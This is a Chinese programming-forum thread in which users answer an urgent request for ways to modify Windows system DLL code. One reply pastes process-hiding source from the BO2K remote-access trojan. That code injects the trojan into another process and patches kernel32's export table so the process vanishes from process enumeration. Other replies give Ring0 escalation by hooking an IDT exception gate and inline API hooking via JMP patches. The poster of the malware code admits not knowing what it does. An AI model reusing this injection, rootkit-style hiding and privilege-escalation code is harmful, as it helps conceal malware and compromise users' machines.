来不及复习相关知识了...谢谢!最好能有示例代码或者相关链接,万分火急!谢谢!

解决方案 »

  1.   

    http://www.csdn.net/develop/article/16/16628.shtm
      

  2.   

    Win9x 下 kernel32, user32, gdi32, advapi32 的地址空间是特别保护的吧,除非进入 vxd
      

  3.   


    BOOL SpawnBO2KThread(const char *svProcess)
    {
    if(g_bIsWinNT) {  //---------------------- WINDOWS NT PROCESS HIDE -------------------
    // -------------------------------------------------------
    // -- Process Hiding Code                               
    // -- Note that there are several different ways to do  
    // -- what this code does. Both of the methods presented
    // -- below were written specifically to avoid accessing
    // -- the original BO2K image on disk.
    // -- This way, the original BO2K disk file can be compressed
    // -- with all of the plugin attachments inside, and
    // -- the original executable can be moved around/deleted
    // -- while the BO2K server still runs.

    // Get another process and thread id
    PROCESSINFO *ppie,*ppi=CreateProcListSnapshot(NULL);
    DWORD dwThreadID, dwProcID;

    for(ppie=ppi;ppie!=NULL;ppie=ppie->next) {
    if(lstrcmpi(ppie->svApp,svProcess)==0) break;
    }
    if(ppie==NULL) return FALSE;

    dwProcID=ppie->dwProcID;
    dwThreadID=ppie->pThread->dwThreadID; // Get first thread (doesn't really matter)

    DestroyProcListSnapshot(ppi);

    // Make sure we aren't hopping into ourselves
    if(GetCurrentProcessId()==dwProcID) return FALSE; // Open process to inject code into
    HANDLE hProc=OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwProcID);
    if(hProc==NULL) {
    DebugMessageBox(NULL,"Unable to open process","ERROR",MB_SETFOREGROUND);
    return FALSE;
    }

    // Free space for BO2K (in case we are restarting)
    pVirtualFreeEx(hProc,g_module,0,MEM_RELEASE);

    // Allocate space for BO2K to fit in the process
    DWORD dwSize=((PIMAGE_OPTIONAL_HEADER)OPTHDROFFSET(g_module))->SizeOfImage;
    char *pMem=(char *)pVirtualAllocEx(hProc,g_module,dwSize,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
    if(pMem==NULL) {
    DebugMessageBox(NULL,"Couldn't VirtualAllocEx","Error",MB_SETFOREGROUND);
    return FALSE;
    }

    // Lets copy the entire bo2k process into this space.
    DWORD dwOldProt,dwNumBytes,i;
    MEMORY_BASIC_INFORMATION mbi;

    pVirtualQueryEx(hProc,pMem,&mbi,sizeof(MEMORY_BASIC_INFORMATION));
    while(mbi.Protect!=PAGE_NOACCESS && mbi.RegionSize!=0) {
    if(!(mbi.Protect & PAGE_GUARD)) {
    for(i=0;i<mbi.RegionSize;i+=0x1000) {
    pVirtualProtectEx(hProc,pMem+i,0x1000,PAGE_EXECUTE_READWRITE,&dwOldProt);
    WriteProcessMemory(hProc,pMem+i,pMem+i,0x1000,&dwNumBytes);
    }
    }

    pMem+=mbi.RegionSize;
    pVirtualQueryEx(hProc,pMem,&mbi,sizeof(MEMORY_BASIC_INFORMATION));
    }

    // Create a remote thread in the other process
    DWORD dwRmtThdID;
    HANDLE hRmtThd=pCreateRemoteThread(hProc,NULL,0,EntryPoint,(LPVOID)g_module,0,&dwRmtThdID);
    if(hRmtThd==NULL) {
    DebugMessageBox(NULL,"Could create remote thread","ERROR",MB_SETFOREGROUND);
    return FALSE;
    }

    CloseHandle(hProc);
    return 0;

    } else { //---------------------------------- WINDOWS 95 PROCESS HIDE -------------
    // This one works differently because we don't necessarily have
    // the functionality to do a 'CreateRemoteThread()'. And for 
    // various reasons, hijacking another thread and changing its
    // context to do your bidding doens't really work. It's because
    // the thread you hijack may be blocked on a mutex/semaphore/etc
    // and won't resume execution to run your code until the blocking
    // ID is signaled by the system. So, we have to just hack kernel32.dll
    // to forget that our process exists :) // Start up PE Image Loader pRegisterServiceProcess(NULL,1);

    // Get undocumented VxDCall procedure
    HMODULE hModule=GetModuleHandle("kernel32.dll");
    FARPROC VxDCall=GetDLLProcAddress(hModule,(LPCSTR)1);

    // Check for kernel32.dll export table
    PIMAGE_OPTIONAL_HEADER poh=(PIMAGE_OPTIONAL_HEADER)OPTHDROFFSET(hModule);
    DWORD dwSize=poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
    if(dwSize==0) return NULL; // Good, we have an export table. Lets get it.
    PIMAGE_EXPORT_DIRECTORY ped;
    ped=(IMAGE_EXPORT_DIRECTORY *)RVATOVA(hModule,poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    // Change protection on kernel32.dll export table (make writable)
    // (can't use "VirtualProtect")
    DWORD dwFirstPage, dwNumPages;
    dwFirstPage=((DWORD)RVATOVA(hModule,ped->AddressOfFunctions))/4096;
    dwNumPages=((( (((DWORD)RVATOVA(hModule,ped->AddressOfFunctions))-(dwFirstPage*4096)+ped->NumberOfFunctions)) *4)+4095)/4096;

    _asm {
    push 020060000h                 // PC_WRITEABLE | PC_USER | PC_STATIC
    push 0FFFFFFFFh                 // Keep all previous bits
    push dword ptr [dwNumPages]     // dword ptr [mbi+0Ch] # of pages
    push dword ptr [dwFirstPage]    // dword ptr [ped] page #
    push 1000Dh // _PageModifyPermissions (win32_service_table #)
    call dword ptr [VxDCall] // VxDCall0
    }

    // Fix kernel32.dll export table if I happened to fuck things
    // up earlier (run bo2k, crash out, and restart) SpawnCleanup(); InitializeDLLLoad();

    // Get shared memory
    DWORD dwCodeSize=((DWORD)&EndOfHappyCode) - ((DWORD)&StartOfHappyCode);
    LPVOID lpBase;
    lpBase=VirtualAlloc((LPVOID)0x9CDC0000,dwCodeSize,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
    if(lpBase!=(LPVOID)0x9CDC0000) lpBase=(LPVOID)0x9CDC0000; // Copy code into shared memory
    memcpy(lpBase,(void *)(&StartOfHappyCode),dwCodeSize); // Store procedure addresses
    DWORD dwOldAddress[6],dwCurPid;
    dwCurPid=GetCurrentProcessId();
    dwOldAddress[0]=(DWORD)GetDLLProcAddress(hModule,"Process32First");
    dwOldAddress[1]=(DWORD)GetDLLProcAddress(hModule,"Process32Next");
    dwOldAddress[2]=(DWORD)GetDLLProcAddress(hModule,"Thread32First");
    dwOldAddress[3]=(DWORD)GetDLLProcAddress(hModule,"Thread32Next");
    dwOldAddress[4]=(DWORD)GetDLLProcAddress(hModule,"Module32First");
    dwOldAddress[5]=(DWORD)GetDLLProcAddress(hModule,"Module32Next"); // Modify code to correct addresses
    DWORD i;
    for(i=0;i<(dwCodeSize-4);i++) {
    DWORD *dwPtr=(DWORD *)((BYTE *)lpBase+i);
    if     (*dwPtr==0x11111111) *dwPtr=dwCurPid;
    else if(*dwPtr==0x22222222) *dwPtr=(DWORD)dwOldAddress[0];
    else if(*dwPtr==0x33333333) *dwPtr=(DWORD)dwOldAddress[1];
    else if(*dwPtr==0x44444444) *dwPtr=(DWORD)dwOldAddress[2];
    else if(*dwPtr==0x55555555) *dwPtr=(DWORD)dwOldAddress[3];
    else if(*dwPtr==0x66666666) *dwPtr=(DWORD)dwOldAddress[4];
    else if(*dwPtr==0x77777777) *dwPtr=(DWORD)dwOldAddress[5];
    } // Now we modify the export table to point to our replacement code SetDLLProcAddress(hModule,"Process32First",(FARPROC)RVATOVA(lpBase,VATORVA(&StartOfHappyCode,(FARPROC)&FakeProcess32First)));
    SetDLLProcAddress(hModule,"Process32Next",(FARPROC)RVATOVA(lpBase,VATORVA(&StartOfHappyCode,(FARPROC)&FakeProcess32Next)));
    SetDLLProcAddress(hModule,"Thread32First",(FARPROC)RVATOVA(lpBase,VATORVA(&StartOfHappyCode,(FARPROC)&FakeThread32First)));
    SetDLLProcAddress(hModule,"Thread32Next",(FARPROC)RVATOVA(lpBase,VATORVA(&StartOfHappyCode,(FARPROC)&FakeThread32Next)));
    SetDLLProcAddress(hModule,"Module32First",(FARPROC)RVATOVA(lpBase,VATORVA(&StartOfHappyCode,(FARPROC)&FakeModule32First)));
    SetDLLProcAddress(hModule,"Module32Next",(FARPROC)RVATOVA(lpBase,VATORVA(&StartOfHappyCode,(FARPROC)&FakeModule32Next))); // Done with dll_load
    KillDLLLoad(); EntryPoint(GetModuleHandle(NULL));

    SpawnCleanup(); } return TRUE;
    }
    不要问这是什么意思,我也不知道。
    这代码来自bo2k中的process_hop.cpp
      

  4.   

    //
    // 在Ring0状态下修改系统共享的代码
    //
    #define HookExceptionNo 5void Ring0WriteMemory(void * dst,void *src,int copySize)
    {
        BYTE IDTR_1[6];
        DWORD OldExceptionHook;
        __asm
        {
            JMP __Continue
        
            Ring0Proc:        PUSHAD
            
            MOV AX,30h     // 定义一个系统级别的数据段选择子 
            
            MOV BX,DS      // 保存原DS与ES
            MOV DX,ES
            
            MOV DS,AX      // 修改DS与ES
            MOV ES,AX
            
            REP MOVSB      // 插入指令
            
            MOV DS,BX      // 复原DS与ES
            MOV ES,DX        POPAD
            
            IRETD          //返回
        
            __Continue:
            
            
            SIDT FWORD PTR IDTR_1                    // 修改中断门
            MOV EAX,DWORD PTR IDTR_1+02h
            ADD EAX,HookExceptionNo*08h+04h
            CLI
            
            
            MOV ECX,DWORD PTR [EAX]                  // 保存原异常处理例程入口
            MOV CX,WORD PTR [EAX-04h]
            MOV OldExceptionHook,ECX
            
            LEA EBX,Ring0Proc                        // 指定新入口  
            MOV WORD PTR [EAX-04h],BX
            SHR EBX,10h
            MOV WORD PTR[EAX+02h],BX
            
            PUSHAD                                   // 配置参数
            MOV EDI,dst
            MOV ESI,src
            MOV ECX,copySize
            
            INT HookExceptionNo                      // 激活Ring0代码
            POPAD
            
            MOV ECX,OldExceptionHook                 // 复原入口
            MOV WORD PTR[EAX-04h],CX
            SHR ECX,10h
            MOV WORD PTR[EAX+02h],CX
            
            STI
        }     
    }
      

  5.   

    VirtualProtect函数能够调整所有在进程地址空间中的已提交页面的访问限制级。比如,进程可以分配读写页面来存储常变数据,并且之后它能够把访问控制级改变为只读或者禁止访问来防止以外的改写。VirtualProtect是一个用VirtualAlloc分配的页面上的典型的应用,但是,它也能够应用于使用其它分配函数分配的页面上。然而,VirtualProtect改变了全部页面的保护级,但是其它分配函数返回的指针并不一定要页面对齐。VirtualProtectEx函数类似于VirtualProtect函数,除了它只改变指定进程内存的限制级之外。那就用VirtualProtectEx函数试一下吧。
      

  6.   

    获系统API调用的方法有很多种,在这里。我只想实现其中的一种方法,那就是:在系统API函数的起始初插入JMP代码。插入JMP代码的方法其实十分简单,无非是 
    store - modify - restore .下面,我写出一个函数,它用来实现改写系统API函数代码的起始部分,插入JMP代码。当然,在这个动作之前,我们应该是已经保存了系统API函数代码的起始部分。
    //
    //Binary instructin
    //
    //Nop | 90
    //Nop | 90
    //Nop | 90
    //Jmp XXXX    | E9 XXXXXXXX
    const ULONG  _JMPOPCODE_ =(ULONG)0xE9909090L ;
    const int _JMPCODESIZE=sizeof(SLongJmp);struct {
    ULONG JmpOp ;
    LPVOID Addr ;
    } SLongJmp ;//FUNCTION:modify starting part of system func with a jmp
    //          code that jmpping to user_defined function
    //ARGUMENT:userFunc,sysFunc
    //         .....
    bool SetJmpCode(LPVOID userFunc, LPVOID sysFunc)
    {
    char* szTmp =(char*)sysFunc;DWORD dwPro ;
    DWORD nWriten;MEMORY_BASIC_INFORMATION memInfo ;
    memset ( &memInfo , 0 , sizeof(MEMORY_BASIC_INFORMATION));
    dwPro = VirtualQuery((LPVOID)sysFunc , 
                                     &memInfo ,sizeof(MEMORY_BASIC_INFORMATION) );if ( dwPro != sizeof(MEMORY_BASIC_INFORMATION) ){
    return false ;
    }DWORD dwOldProtect;
    //set new memory protect flag
    BOOL fok=VirtualProtect((LPVOID)sysFunc , _JMPCODESIZE , 
    PAGE_EXECUTE_WRITECOPY , &dwOldProtect );
    if (!fok){
    //("Can not change the memory RW flag!");
    return false ;
    }SLongJmp Jmp2Me ;Jmp2Me.JmpOp = _JMPOPCODE_ ;
    Jmp2Me.Addr = (LPVOID)
    ( (LONG)userFunc - (LONG)sysFunc - _JMPCODESIZE  ) ;fok=WriteProcessMemory(GetCurrentProcess(),
    (LPVOID)sysFunc, 
    (LPVOID)&Jmp2Me , sizeof(SLongJmp) ,&nWriten);
    if(!fok){
    //("Write failed!");
    return false;
    }DWORD dwOldProtect2;
    VirtualProtect((LPVOID)sysFunc , sizeof(SLongJmp) , dwOldProtect ,
                              &dwOldProtect2  );return true;
    }既然有改写的 ;当然应该有恢复的,下面的这个函数实现恢复函数的本来面目。
    //
    //
    //
    bool RestoreSysCode(LPVOID sysFunc,char* oldCode,int codeLen)
    {
    char* szTmp =(char*)sysFunc;DWORD dwPro ;
    DWORD nWriten;
    DWORD dwOldProtect;
    DWORD dwOldProtect2;MEMORY_BASIC_INFORMATION memInfo ;
    memset ( &memInfo , 0 , sizeof(MEMORY_BASIC_INFORMATION));dwPro = VirtualQuery(sysFunc , &memInfo ,
                                    sizeof(MEMORY_BASIC_INFORMATION) );if ( dwPro != sizeof(MEMORY_BASIC_INFORMATION) ){
    return FALSE ;
    }BOOL fok=VirtualProtect(sysFunc , 
    codeLen , PAGE_EXECUTE_WRITECOPY ,&dwOldProtect );if (! fok){
    //("Can not change the memory RW flag!");
    return false;
    }fok=WriteProcessMemory(GetCurrentProcess(),
    sysFunc,(LPVOID)oldCode, codeLen ,&nWriten);
    if(!fok){
    //("Write failed!");
    return FALSE;
    }VirtualProtect(sysFunc , codeLen , dwOldProtect , &dwOldProtect2  );
    return true;
    }改写和恢复都实现了,还差一个什么呢?当然是保存被改写部分的原始指令的函数了(我都开始认为我很自作聪明了)。下面,我以ExtTextOutA(..)为例说明:
    typedef BOOL(WINAPI *__pExtTextOut)(HDC , int, int , UINT ,const RECT *, 
                                       LPCSTR , UINT , int*);
    __pExtTextOut g_ExtTextOutA;
    char FAR  g_OldCodeExtTextOutA [_SAVELENGTH] ;bool SaveRawProbe()
    {
    HMODULE hModGDI = GetModuleHandle ( "GDI32");
    if ( hModGDI == NULL ){
    //("gdi32.dll exits?"); 
    return false;
    }g_ExtTextOutA = (__pExtTextOut)
                                    GetProcAddress(hModGDI , "ExtTextOutA");
    if (g_ExtTextOutA == NULL ){
    //("Failed to get API entry !");
    return false;

               //
               //save
               //
    memcpy(g_OldCodeExtTextOutA , g_ExtTextOutA ,_SAVELENGTH);
    }
      

  7.   

    谢谢大家的关注,slwqw(四大名捕之追杀令) 
    的帖子是我想要的!呵呵,谢谢大家,结帖